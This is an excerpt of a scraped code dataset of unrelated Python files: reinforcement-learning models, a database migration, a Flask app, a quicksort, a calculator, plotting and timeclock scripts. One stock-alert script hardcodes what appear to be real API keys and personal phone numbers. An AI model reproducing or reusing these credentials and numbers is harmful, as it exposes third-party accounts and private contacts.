nn.Sequential(\n nn.Linear(256, 256),\n nn.ReLU(),\n )\n\n self.advantage_out_layers = []\n self.value_out_layers = []\n for _ in range(number_of_gammas):\n self.advantage_out_layers.append(nn.Sequential(nn.Linear(256, action_space)))\n self.value_out_layers.append(nn.Sequential(nn.Linear(256, 1)))\n \n\n def forward(self, x):\n # Dueling DQN\n features = self.feature_layer(x)\n \n advantages_hidden_out = self.advantages_hidden(features)\n values_hidden_out = self.values_hidden(features)\n \n out_list = np.empty(self.number_of_gammas, dtype=torch.Tensor)\n for gamma_num in range(self.number_of_gammas):\n value = self.value_out_layers[gamma_num](values_hidden_out)\n \n advantages = self.advantage_out_layers[gamma_num](advantages_hidden_out)\n \n if advantages.dim() == 1:\n advantage_mean = advantages.mean(dim=0, keepdim=True)\n else:\n advantage_mean = advantages.mean(dim=1, keepdim=True)\n \n out_list[gamma_num] = value + (advantages - advantage_mean)\n \n out_tensor = torch.stack(tuple(out_list))\n \n return out_tensor\n\n\nclass QNet_Nature_CNN(nn.Module):\n \"\"\"\n Use this model for image based inputs\n \"\"\"\n\n def __init__(self, obs, action_space):\n super(QNet_Nature_CNN, self).__init__()\n self.conv = nn.Sequential(\n # If gray scale, input is 1 channel, else 3 channels\n # nn.Conv2d(3, 32, kernel_size=3, stride=1),\n nn.Conv2d(1, 32, kernel_size=3, stride=1),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(32, 64, kernel_size=3, stride=1),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(64, 64, kernel_size=3, stride=1),\n nn.ReLU(),\n nn.Conv2d(64, 1, kernel_size=3, stride=1),\n )\n\n conv_out_size = self._get_conv_out(obs)\n self.fc = nn.Sequential(\n nn.Linear(conv_out_size, 512), nn.ReLU(), nn.Linear(512, action_space)\n )\n\n def _get_conv_out(self, shape):\n o = self.conv(torch.zeros(1, *shape.shape)).flatten().shape[0]\n return o\n\n def forward(self, x):\n conv_out = self.conv(x)\n if x.dim() == 3:\n q_vals = self.fc(conv_out.flatten())\n else:\n q_vals = self.fc(conv_out.flatten(start_dim=1))\n return q_vals\n","repo_name":"treyetzel/Multi-Agent-RL","sub_path":"source/models/idqn_models.py","file_name":"idqn_models.py","file_ext":"py","file_size_in_byte":4358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43836719307","text":"\"\"\"init\n\nRevision ID: e32cf207963c\nRevises: c4d7f9729c0f\nCreate Date: 2023-06-07 11:40:35.480053\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'e32cf207963c'\ndown_revision = 'c4d7f9729c0f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('garage_sale',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('date', sa.Date(), nullable=False),\n sa.Column('start_time', sa.Time(), nullable=False),\n sa.Column('end_time', sa.Time(), nullable=False),\n sa.Column('street_address', sa.String(length=255), nullable=False),\n sa.Column('city', sa.String(length=255), nullable=False),\n sa.Column('state', sa.String(length=255), nullable=False),\n sa.Column('zip', sa.Integer(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('item',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name_of_item', sa.String(length=255), nullable=False),\n sa.Column('description', sa.String(length=255), nullable=True),\n sa.Column('price', sa.Integer(), nullable=True),\n sa.Column('category', sa.String(length=255), nullable=True),\n sa.Column('image', sa.String(length=255), nullable=True),\n sa.Column('garage_sale_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['garage_sale_id'], ['garage_sale.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n with op.batch_alter_table('user', schema=None) as batch_op:\n batch_op.add_column(sa.Column('contact_number', sa.String(length=255), nullable=True))\n batch_op.create_unique_constraint(None, ['username'])\n batch_op.create_unique_constraint(None, ['email'])\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('user', schema=None) as batch_op:\n batch_op.drop_constraint(None, type_='unique')\n batch_op.drop_constraint(None, type_='unique')\n batch_op.drop_column('contact_number')\n\n op.drop_table('item')\n op.drop_table('garage_sale')\n # ### end Alembic commands ###\n","repo_name":"michellestapp/Garage_Sale_Locator","sub_path":"backend/migrations/versions/e32cf207963c_init.py","file_name":"e32cf207963c_init.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25763862754","text":"import requests\nimport os\nfrom datetime import datetime, timedelta\nfrom twilio.rest import Client\n\n\nSTOCK_NAME = \"TSLA\"\nCOMPANY_NAME = \"Tesla Inc\"\n\nSTOCK_ENDPOINT = \"https://www.alphavantage.co/query\"\nNEWS_ENDPOINT = \"https://newsapi.org/v2/everything\"\n\nSTOCK_KEY = \"VELO2WIP9B86LL16\"\nNEWS_KEY = \"acaa5932f52f49438c934c27c8cd8046\"\n\nurl = 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol=IBM&apikey=demo'\nr = requests.get(url)\ndata = r.json()\n\n# TODO 1. - Get yesterday's closing stock price. Hint: You can perform list comprehensions on Python dictionaries. e.g. [new_value for (key, value) in dictionary.items()]\n\ntodays_date = datetime.today().date()\nyesterday_date = datetime.today() - timedelta(days=1)\nyesterday_date = yesterday_date.date()\n\nstock_dates = list(data[\"Time Series (Daily)\"].keys())\n\nstock_first_date_close_price = float(data[\"Time Series (Daily)\"][stock_dates[0]]['4. close'])\n\n# TODO 2. - Get the day before yesterday's closing stock price\n\nstock_second_date_close_price = float(data[\"Time Series (Daily)\"][stock_dates[1]]['4. close'])\n\n# TODO 3. - Find the positive difference between 1 and 2. e.g. 40 - 20 = -20, but the positive difference is 20. Hint: https://www.w3schools.com/python/ref_func_abs.asp\n\nprice_diff = abs(stock_first_date_close_price - stock_second_date_close_price)\n\n# TODO 4. - Work out the percentage difference in price between closing price yesterday and closing price the day before yesterday.\n\npercentage_diff = (price_diff / stock_second_date_close_price) * 100\n\n# TODO 5. - If TODO4 percentage is greater than 5 then print(\"Get News\").\n# TODO 6. - Instead of printing (\"Get News\"), use the News API to get articles related to the COMPANY_NAME.\n\n## STEP 2: https://newsapi.org/\n# Instead of printing (\"Get News\"), actually get the first 3 news pieces for the COMPANY_NAME.\n\nnews_parameters = {\n \"q\": \"ibm\",\n \"from\": \"todays_date\",\n \"sortBy\": \"publishedAt\",\n \"apiKey\": NEWS_KEY,\n \"language\": 'en',\n}\n\nnews_url = NEWS_ENDPOINT\nnews_r = requests.get(news_url, params=news_parameters)\nnews_data = news_r.json()\n\narticles = news_data[\"articles\"]\n\nnews = {}\n\nfor i in range(3):\n title = articles[i][\"title\"]\n description = articles[i][\"description\"]\n news[title] = description\n\n# TODO 7. - Use Python slice operator to create a list that contains the first 3 articles. Hint: https://stackoverflow.com/questions/509211/understanding-slice-notation\n# TODO 8. - Create a new list of the first 3 article's headline and description using list comprehension.\n# TODO 9. - Send each article as a separate message via Twilio.\n\naccount_sid = \"YOUR ACCOUNT SID\"\nauth_token = os.environ.get(\"AUTH_TOKEN\")\n\nclient = Client(account_sid, auth_token)\n\nif stock_first_date_close_price >= stock_second_date_close_price:\n for k, v in news.items():\n message = client.messages \\\n .create(\n body=f\"IBM: 🔺{round(percentage_diff)}%\\nHeadline: {k}\\nBrief: {v}\",\n from_=\"+17853775297\",\n to=\"+48695391444\"\n )\nelse:\n for k, v in news.items():\n message = client.messages \\\n .create(\n body=f\"IBM: 🔻{round(percentage_diff)}%\\nHeadline: {k}\\nBrief: {v}\",\n from_=\"+17853775297\",\n to=\"+48695391444\"\n )\n\n## STEP 3: Use twilio.com/docs/sms/quickstart/python\n# to send a separate message with each article's title and description to your phone number.\n\n\n\n\n# Optional TODO: Format the message like this:\n\"\"\"\nTSLA: 🔺2%\nHeadline: Were Hedge Funds Right About Piling Into Tesla Inc. (TSLA)?. \nBrief: We at Insider Monkey have gone over 821 13F filings that hedge funds and prominent investors are required to file by the SEC The 13F filings show the funds' and investors' portfolio positions as of March 31st, near the height of the coronavirus market crash.\nor\n\"TSLA: 🔻5%\nHeadline: Were Hedge Funds Right About Piling Into Tesla Inc. (TSLA)?. \nBrief: We at Insider Monkey have gone over 821 13F filings that hedge funds and prominent investors are required to file by the SEC The 13F filings show the funds' and investors' portfolio positions as of March 31st, near the height of the coronavirus market crash.\n\"\"\"\n","repo_name":"eughrat/100daysChallenge","sub_path":"day_36/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74741406771","text":"import logging\nfrom collections import namedtuple\n\nfrom bson import DEFAULT_CODEC_OPTIONS\nfrom scrapy import Spider\nfrom scrapy.settings import Settings\nfrom twisted.internet.defer import inlineCallbacks\nfrom txmongo.connection import ConnectionPool\n\nfrom ..settings.default_settings import MONGODB_COLLECTION\nfrom ..settings.default_settings import MONGODB_DATABASE\nfrom ..utils.get_mongo_uri import get_mongo_uri\n\nlogger = logging.getLogger(__name__)\n\nTOKEN = namedtuple('twitter_token', ['client_key',\n 'client_secret'\n 'resource_owner_key',\n 'resource_owner_secret'])\n\n\nclass MongoDBStorage(object):\n\n def __init__(self, settings: Settings):\n self.settings = settings\n self.uri = get_mongo_uri(self.settings)\n self.codec_options = DEFAULT_CODEC_OPTIONS.with_options(\n unicode_decode_error_handler='ignore')\n self.cnx = None\n self.db = None\n self.coll = None\n\n @inlineCallbacks\n def open_spider(self, spider: Spider):\n self.cnx = yield ConnectionPool(\n self.uri,\n codec_options=self.codec_options\n )\n\n self.db = yield getattr(\n self.cnx,\n self.settings[MONGODB_DATABASE]\n )\n self.coll = yield getattr(\n self.db,\n self.settings[MONGODB_COLLECTION]\n )\n self.coll.with_options(codec_options=self.codec_options)\n\n logger.info(\n 'Spider opened: Open the connection to MongoDB: {}'.format(self.uri)\n )\n\n @inlineCallbacks\n def close_spider(self, spider: Spider):\n yield self.cnx.disconnect()\n logger.info(\n 'Spider closed: Close the connection to MongoDB: {}'.format(\n self.uri)\n )\n\n @inlineCallbacks\n def retrieve_token(self):\n docs = yield self.coll.find()\n return {doc.pop('_id'): doc for doc in docs}\n","repo_name":"leonardfrank/scrapy-httpoauth","sub_path":"scrapy_httpoauth/extensions/httpoauth.py","file_name":"httpoauth.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"35422549858","text":"from flask import Flask\n\nfrom thisdayinmusic import auth, api\nfrom thisdayinmusic.extensions import db, jwt, migrate\n\n\ndef create_app(config=None, testing=False, cli=False):\n \"\"\"Application factory, used to create application\n \"\"\"\n app = Flask('thisdayinmusic')\n\n configure_app(app, testing)\n configure_extensions(app, cli)\n register_blueprints(app)\n\n return app\n\n\ndef configure_app(app, testing=False):\n \"\"\"set configuration for application\n \"\"\"\n # default configuration\n app.config.from_object('thisdayinmusic.config')\n\n if testing is True:\n # override with testing config\n app.config.from_object('thisdayinmusic.configtest')\n else:\n # override with env variable, fail silently if not set\n app.config.from_envvar(\"THISDAYINMUSIC_CONFIG\", silent=True)\n\n\ndef configure_extensions(app, cli):\n \"\"\"configure flask extensions\n \"\"\"\n db.init_app(app)\n jwt.init_app(app)\n\n if cli is True:\n migrate.init_app(app, db)\n\n\ndef register_blueprints(app):\n \"\"\"register all blueprints for application\n \"\"\"\n app.register_blueprint(auth.views.blueprint)\n app.register_blueprint(api.views.blueprint)\n","repo_name":"Shemahmforash/api.thisdayinmusic.net","sub_path":"thisdayinmusic/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"12855335458","text":"from dgl.data import load_data, tu\nfrom dgl import DGLGraph, transform\nimport torch\nimport torch.utils.data\nimport numpy as np\nimport torch\nimport dgl\nimport networkx as nx\nfrom datasets.prepocessing import one_class_processing\nimport pickle\n\ndef load_cn_data(path='/Users/mtang/Documents/OCGNN/data/baseline_networkx_combinedAttr_0724.pkl'):\n a_file = open(path, \"rb\")\n data = pickle.load(a_file)\n a_file.close()\n nx_ls, label_ls = data[0], data[1]\n return nx_ls, label_ls\n\ndef loader(args, index):\n # load and preprocess dataset\n \n # data = load_data(args)\n data_ls, label_ls = load_cn_data()\n graph = data_ls[index]\n label = np.array(list(nx.get_node_attributes(graph, 'have_diag').values()))\n # print(nx.get_node_attributes(graph,'call_count').values())\n # g = dgl.from_networkx(data, node_attrs=['tariftype', 'call_count', 'total_call_len',\n # 'lat', 'lon', 'unique_locations_visited', 'avg_call_len',\n # 'sub_or_ob', 'missing', 'have_diag'], edge_attrs=['weight'])\n\n print(f'normal_class is {args.normal_class}')\n\n labels, train_mask, val_mask, test_mask = one_class_processing((graph, label), 0, args)\n\n # features = torch.FloatTensor(nx.attr_matrix(graph, node_attr=\"combine\", normalized=True))\n print(train_mask)\n features = torch.FloatTensor(list(nx.get_node_attributes(graph, 'combine').values()))\n print(features.shape)\n labels = torch.LongTensor(labels)\n train_mask = torch.BoolTensor(train_mask)\n val_mask = torch.BoolTensor(val_mask)\n test_mask = torch.BoolTensor(test_mask)\n in_feats = features.shape[1]\n # n_classes = data.num_labels\n n_classes = 2\n n_edges = graph.number_of_edges()\n print(test_mask.sum().item())\n # print(\"\"\"----Data statistics------'\n # #Edges %d\n # #Classes %d\n # #Train samples %d\n # #Val samples %d\n # #Test samples %d\"\"\" %\n # (n_edges, n_classes,\n # train_mask.sum().item(),\n # val_mask.sum().item(),\n # test_mask.sum().item()))\n print(n_edges, n_classes,\n train_mask.sum().item(),\n val_mask.sum().item(),\n test_mask.sum().item())\n if args.gpu < 0:\n cuda = False\n else:\n cuda = True\n torch.cuda.set_device(args.gpu)\n features = features.cuda()\n labels = labels.cuda()\n train_mask = train_mask.cuda()\n val_mask = val_mask.cuda()\n test_mask = test_mask.cuda()\n\n # graph preprocess and calculate normalization factor\n g = graph\n\n # add self loop\n if args.self_loop:\n g.remove_edges_from(nx.selfloop_edges(g))\n #g=transform.remove_self_loop(g)\n #if args.module!='GraphSAGE':\n g.add_edges_from(zip(g.nodes(), g.nodes()))\n\n # g = DGLGraph(g)\n g = dgl.from_networkx(graph)\n n_edges = g.number_of_edges()\n if args.norm:\n \n # normalization\n degs = g.in_degrees().float()\n norm = torch.pow(degs, -0.5)\n norm[torch.isinf(norm)] = 0\n if cuda:\n norm = norm.cuda()\n g.ndata['norm'] = norm.unsqueeze(1)\n\n datadict={'g':g,'features':features,'labels':labels,'train_mask':train_mask,\n 'val_mask':val_mask,'test_mask': test_mask,'input_dim':in_feats,'n_classes':n_classes,'n_edges':n_edges}\n\n return datadict, graph\n\ndef emb_dataloader(args):\n # load and preprocess dataset\n data = load_data(args)\n normal_class=args.normal_class\n labels,train_mask,val_mask,test_mask=one_class_processing(data,normal_class,args)\n\n features = torch.FloatTensor(data.features)\n labels = torch.LongTensor(labels)\n train_mask = torch.BoolTensor(train_mask)\n val_mask = torch.BoolTensor(val_mask)\n test_mask = torch.BoolTensor(test_mask)\n in_feats = features.shape[1]\n n_classes = data.num_labels\n n_edges = data.graph.number_of_edges()\n print(\"\"\"----Data statistics------'\n #Edges %d\n #Classes %d\n #Train samples %d\n #Val samples %d\n #Test samples %d\"\"\" %\n (n_edges, n_classes,\n train_mask.sum().item(),\n val_mask.sum().item(),\n test_mask.sum().item()))\n\n g = data.graph\n\n\n datadict={'g':g,'features':features,'labels':labels,'train_mask':train_mask,\n 'val_mask':val_mask,'test_mask': test_mask,'in_feats':in_feats,'n_classes':n_classes,'n_edges':n_edges}\n\n return datadict","repo_name":"mtang724/OCGNN","sub_path":"datasets/dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":4479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3959112809","text":"import gdown\nimport sys\n\nsys.setrecursionlimit(100_000_000)\n\n\ndef swap(arr, a, b):\n arr[a], arr[b] = arr[b], arr[a]\n\n\ndef pivot1(arr, l):\n return arr[l]\n\n\ndef pivot2(arr, l, r):\n # pivotを常に先頭に持ってくるためにswapする\n swap(arr, l, r)\n return pivot1(arr, l)\n\n\ndef pivot3(arr, l, r): # 配列の先頭、真ん中、最後の要素の中央値を返す\n m = l + ((r - l) // 2)\n\n tmp = [arr[l], arr[m], arr[r]]\n\n mx = max(tmp)\n mn = min(tmp)\n\n tmp.remove(mx)\n tmp.remove(mn)\n\n mid_idx = arr.index(tmp[0])\n swap(arr, l, mid_idx)\n\n return pivot1(arr, l)\n\n\ndef partition(arr, l, r): # l, r: 各ルーティン内の探索範囲\n if l >= r:\n return 0\n\n # p = pivot1(arr, l)\n # p = pivot2(arr, l, r)\n p = pivot3(arr, l, r)\n\n i = l + 1\n\n for j in range(l+1, r+1):\n if arr[j] < p:\n swap(arr, j, i)\n i += 1\n\n swap(arr, arr.index(p), i-1)\n\n m = partition(arr, l, i - 2)\n n = partition(arr, i, r)\n\n return m + n + (r - l) # 長さmのsubarrayがあるとすると m - 1 = r - l\n\n\ndef main():\n url = 'url of input file'\n output = 'file.txt'\n gdown.download(url, output, quiet=False)\n\n with open(output) as f:\n numbers = [int(s.strip()) for s in f.readlines()]\n\n ans = partition(numbers, 0, len(numbers) - 1)\n print(ans)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"sy-tencho/algorithms_specialization","sub_path":"part1/week3/quicksort.py","file_name":"quicksort.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"453378465","text":"import numpy as np\n\n# Define Rotation Matrix (4X4)\nclass Rotation:\n def E():\n E = np.array([[1, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 1, 0],\n [0, 0, 0, 0]])\n return E\n\n def x(theta):\n theta = np.deg2rad(theta)\n Rot_x = np.array([[1, 0, 0, 0],\n [0, np.cos(theta), -np.sin(theta), 0],\n [0, np.sin(theta), np.cos(theta), 0],\n [0, 0, 0, 0]])\n return Rot_x\n\n def y(theta):\n theta = np.deg2rad(theta)\n Rot_y = np.array([[np.cos(theta), 0, np.sin(theta), 0],\n [0, 1, 0, 0],\n [-np.sin(theta), 0, np.cos(theta), 0],\n [0, 0, 0, 0]])\n return Rot_y\n\n def z(theta):\n theta = np.deg2rad(theta)\n Rot_z = np.array([[np.cos(theta), -np.sin(theta), 0, 0],\n [np.sin(theta), np.cos(theta), 0, 0],\n [0, 0, 1, 0],\n [0, 0, 0, 0]])\n return Rot_z\n\n\n# Define Translation Matrix (4X4)\ndef Translation(x, y, z):\n P = np.array([[0, 0, 0, x],\n [0, 0, 0, y],\n [0, 0, 0, z],\n [0, 0, 0, 1]])\n return P\n\n\n# calculate Homogeneous Transformation marix\ndef HT_matrix(R, P):\n # Note : R&P are np_array form\n H = R + P\n return H","repo_name":"tmjeong1103/Forward_Kinematics_hardcoding","sub_path":"FK_simul/transformation.py","file_name":"transformation.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74985196213","text":"# -*- coding: utf-8 -*- \nimport sys\nimport math\nimport logging\nimport doctest\n\n\nlogging.basicConfig(filename='program.log', format='%(asctime)s %(message)s',level=logging.DEBUG)\n\n\n# Definição das funções \ndef soma(arg1, arg2):\n \"\"\"\n >>> soma(2, 2) # testes soma\n 4\n >>> soma(1, 1)\n 2\n >>> soma(-2, 4)\n 2\n \"\"\" \n print(arg1 + arg2)\n\ndef subt(arg1, arg2):\n \"\"\"\n >>> subt(2, 2) # testes subtracao \n 0\n >>> subt(10, 1)\n 9\n >>> subt(-2, 4)\n -6\n \"\"\"\n print(arg1 - arg2)\n\ndef mult(arg1, arg2):\n \"\"\"\n >>> mult(2, 2) # testes multiplicacao\n 4\n >>> mult(10, 10)\n 100\n >>> mult(-2, 4)\n -8\n \"\"\"\n print(round((arg1 * arg2), 2))\n\ndef div(arg1, arg2):\n try:\n arg1 / arg2\n \"\"\"\n >>> div(2, 2) # testes divisao\n 1\n >>> div(10, 2)\n 5\n >>> div(2, 4)\n 0.5\n \"\"\"\n print(round((arg1 / arg2), 2))\n except Exception as e: # tratamento do erro divisor 0\n logging.exception(\"Exception Occurred\")\n\ndef pot(arg1, arg2):\n \"\"\"\n >>> pot(2, 2) # testes potencia\n 4.0\n >>> pot(10, 3)\n 1000.0\n >>> pot(5, 4)\n 625.0\n \"\"\"\n print(round(math.pow(arg1, arg2), 2))\n\ndef mod(arg1, arg2):\n \"\"\"\n >>> mod(2, 2) # testes modulo\n 0\n >>> mod(10, 3)\n 1\n >>> mod(1235, 4)\n 3\n \"\"\"\n print(round((arg1 % arg2), 2))\n\ndef main():\n\n if len(sys.argv) == 4: # tamanho do array pra verificar a quantidade de argumentos\n \n # Criação de variáveis para armazenar os valores passados pelo terminal\n try:\n arg1 = float (sys.argv[1])\n arg2 = float (sys.argv[3])\n argOperador = sys.argv[2]\n logging.info('Calculator app started with values: %.2f e %.2f', arg1, arg2) # log mostrando os valores iniciais\n try:\n if argOperador == '+':\n soma(arg1, arg2)\n elif argOperador == '-':\n subt(arg1, arg2)\n elif argOperador == '*':\n mult(arg1, arg2)\n elif argOperador == '/':\n div(arg1, arg2)\n elif argOperador == '**':\n pot(arg1, arg2)\n elif argOperador == 'mod' or argOperador == '%':\n mod(arg1, arg2)\n else: \n print(\"Erro: Operação inválida.\")\n except Exception as e:\n logging.exception(\"Exception Occurred\") \n except Exception as e:\n logging.error(\"Erro. os argumentos precisam ser numericos.\") # tratamento de exceção caso nao entre com numericos\n else:\n logging.error(\"Erro. Expressão precisa ser simples.\") # tratamento de exceção caso tenha mais de 2 argumentos iniciais\n \n \n doctest.testmod()\nmain()\n","repo_name":"FabbSantos/calculadora_proj","sub_path":"calculadora.py","file_name":"calculadora.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"70754997812","text":"import sys\n\nimport unittest\n\nsys.path.append('neuxus')\nsys.path.append('tests/nodes')\n\nfrom utils import (INDEX, COLUMN, simulate_loop_and_verify)\nfrom chunks import Port\nfrom nodes.function import ApplyFunction\n\n\nclass TestFunction(unittest.TestCase):\n\n def test_apply_function(self):\n # create a Port and a Node\n port = Port()\n port.set_parameters(\n data_type='signal',\n channels=COLUMN,\n sampling_frequency=250,\n meta={})\n node = ApplyFunction(port, lambda x: x**2)\n\n # simulate NeuXus loops\n simulate_loop_and_verify(port, node, self)\n","repo_name":"LaSEEB/NeuXus","sub_path":"tests/nodes/test_function.py","file_name":"test_function.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"21"} +{"seq_id":"34025205057","text":"import json\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\n\n'''\nExpect to have a file like that:\nlist of [perfs, stds, q, q_diff, q_diff_abs, err_proj, err_proj_abs]\nperfs, stds, err_proj, err_proj_abs have:\n - a list of [P1, P2, P4...]\n - each with a list of [iter1, iter2, ...]\nq, q_diff, q_diff_abs have:\n - a list of [P1, P2, P4...]\n - each with a list of items evaluated in [sa, sa_greedy, s0a_greedy]\n - each with a list of [iter1, iter2, ...]\n \n'''\n\nfile_name = sys.argv[1]\ncolors = ['dodgerblue', 'cyan', 'limegreen', 'chartreuse', 'gold', 'orange', 'r', 'm', 'darkorchid']\ndalton_friendly_colors = ['deepskyblue', 'mediumslateblue', 'deeppink', 'darkorange', 'gold']\n\nfinal_colors = colors\nsa_index = 0 # 0 for sa, 1 for sa_greedy, 2 for s0a_greedy\ngamma_default = 0.99 ** (1/3)\n\nwith open(file_name, 'r') as f:\n file = json.load(f)\n\n'''\nsave_step added later in position [7], if len(file)==7 there is no save_step\n'''\nif len(file) >= 8:\n save_step = file[7]\nelse:\n save_step = 1\n\n'''\ngamma added later in position [8], if len(file)<9 there is no gamma\n'''\nif len(file) >= 9:\n gamma = file[8]\nelse:\n gamma = gamma_default\n\npersistences_number = len(file[0])\n\n# file filtering\n# for i in range(2):\n# for j in range(len(file[i+3])):\n# for k in range(len(file[i + 3][j])):\n# if len(file[i+3][j][k]) is not 0:\n# file[i+3][j][k].pop(0)\n#\n# for i in range(len(file)):\n# if i < 2 or i > 4:\n# for j in range(len(file[i])):\n# if file[i][j] != []:\n# file[i][j].pop(0)\n#\n# for j in range(len(file[2])):\n# for k in range(len(file[2][j])):\n# del file[2][j][k][-1]\n\nvalid_iterations_perfs = []\nfor i in range(persistences_number):\n l = list(range(len(file[0][i])))\n valid_iterations_perfs.append([(j * max(2 ** i, save_step)) + max(2 ** i, save_step) for j in l])\n\nvalid_iterations_bound = []\nfor i in range(persistences_number):\n l = list(range(len(file[2][i][0])))\n valid_iterations_bound.append([(j * max(2 ** i, save_step)) for j in l])\n\nfig, ax = plt.subplots(nrows=2, ncols=2)\n\n# plot perf\n# ax[0][0].set(ylabel='performances')\n# for i in range(persistences_number):\n# ax[0][0].plot(valid_iterations[i], file[0][i], '.', color=final_colors[i], label='P{}'.format(2**i))\n# ax[0][0].errorbar(valid_iterations[i], file[0][i], yerr=file[1][i], linestyle='', color=final_colors[i])\n\nax[0][0].set(ylabel='performances')\nfor i in range(persistences_number):\n ax[0][0].plot(valid_iterations_perfs[i], file[0][i], '-', color=final_colors[i], label='P{}'.format(2**i))\n\n# plot q\nax[1][0].set(ylabel='Q_functions')\nfor i in range(persistences_number):\n ax[1][0].plot(valid_iterations_bound[i], file[2][i][2], '-', color=final_colors[i])\n\n# plot q_diff_abs\nax[0][1].set(ylabel='Q_diff_abs')\nfor i in range(persistences_number):\n ll = min(len(valid_iterations_bound[i]), len(file[4][i][0]))\n ax[0][1].plot(valid_iterations_bound[i][:ll], file[4][i][0][:ll], '-', color=final_colors[i])\n\n# plot bound abs\nax[1][1].set(ylabel='Q(sa0greedy) - Q_diff_abs(sa)')\nfor i in range(persistences_number):\n ll = min(len(valid_iterations_bound[i]), len(file[4][i][0]))\n bound = file[2][i][2][:ll] - ((1-gamma**(2**i)) ** -1) * (np.array(file[4][i][0][:ll]))\n ax[1][1].plot(valid_iterations_bound[i], bound, '-', color=final_colors[i])\n\nax[0][0].legend(ncol=len(file[0]), bbox_to_anchor=(0, 1), loc='lower left', fontsize='small')\n\nplt.show()\n","repo_name":"albertometelli/pfqi","sub_path":"plotters/multi_perf_plotter4x4.py","file_name":"multi_perf_plotter4x4.py","file_ext":"py","file_size_in_byte":3487,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"34467271761","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 20 09:18:43 2021\n\n@author: CWilson\n\"\"\"\n\nimport sys\nsys.path.append('c://users//cwilson//documents//python//Weekly Shop Hours Project//')\n# from TimeClock_Tools_Employee_Department import download_most_current_employee_department_csv\n# from Grab_Fabrication_Google_Sheet_Data import grab_google_sheet\nfrom Grab_Defect_Log_Google_Sheet_Data import grab_defect_log\nimport pandas as pd\nimport numpy as np\nimport datetime\nfrom Fitter_Welder_Stats_functions import clean_and_adjust_fab_listing_for_range\nfrom Fitter_Welder_Stats_functions import return_sorted_and_ranked\nfrom Fitter_Welder_Stats_functions import convert_weight_to_earned_hours\nfrom Fitter_Welder_Stats_functions import get_employee_name_ID\nfrom Fitter_Welder_Stats_functions import download_employee_group_hours\nfrom Fitter_Welder_Stats_functions import get_employee_hours\nfrom Fitter_Welder_Stats_functions import combine_multiple_all_both_csv_files_into_one_big_one\nfrom Gather_data_for_timeclock_based_email_reports import get_information_for_clock_based_email_reports\nfrom Gather_data_for_timeclock_based_email_reports import skip_timeclock_automated_retrieval\nfrom Gather_data_for_timeclock_based_email_reports import get_ei_csv_downloaded\n\n\n\nstate = 'TN'\nstart_date = \"01/01/2023\"\nend_date = \"01/31/2023\"\nstates = ['TN','MD','DE']\n\n\n\n# ei = get_employee_name_ID()\n# hours_df = download_employee_group_hours(start_date, end_date)\n\n\n# basis = get_information_for_clock_based_email_reports(start_date, end_date, exclude_terminated=False)\n\n\n\nei = get_ei_csv_downloaded(exclude_terminated=False)\n\nstart_dt = datetime.datetime.strptime(start_date, '%m/%d/%Y')\nend_dt = datetime.datetime.strptime(end_date, '%m/%d/%Y')\n\n\nclock_df, direct, indirect = None, None, None\n\n\nfor num_day in range(0, (end_dt-start_dt).days + 1):\n# for num_day in range(0,7):\n \n day_str = (start_dt + datetime.timedelta(days=num_day)).strftime('%m/%d/%Y')\n \n try:\n this_day = get_information_for_clock_based_email_reports(day_str, day_str, exclude_terminated=False, ei=ei)\n if this_day is None:\n continue\n except:\n continue\n \n\n \n # should not hit this part if this_day is none\n loop_clock_df = this_day['Clocks Dataframe']\n loop_direct_df = this_day['Direct']\n loop_indirect_df = this_day['Indirect']\n \n \n #iteratively add each days data to a main dataframe\n if clock_df is None:\n clock_df = loop_clock_df\n else:\n clock_df = clock_df.append(loop_clock_df, ignore_index=True)\n if direct is None:\n direct = loop_direct_df\n else:\n direct = direct.append(loop_direct_df, ignore_index=True)\n if indirect is None:\n indirect = loop_indirect_df\n else:\n indirect = indirect.append(loop_indirect_df, 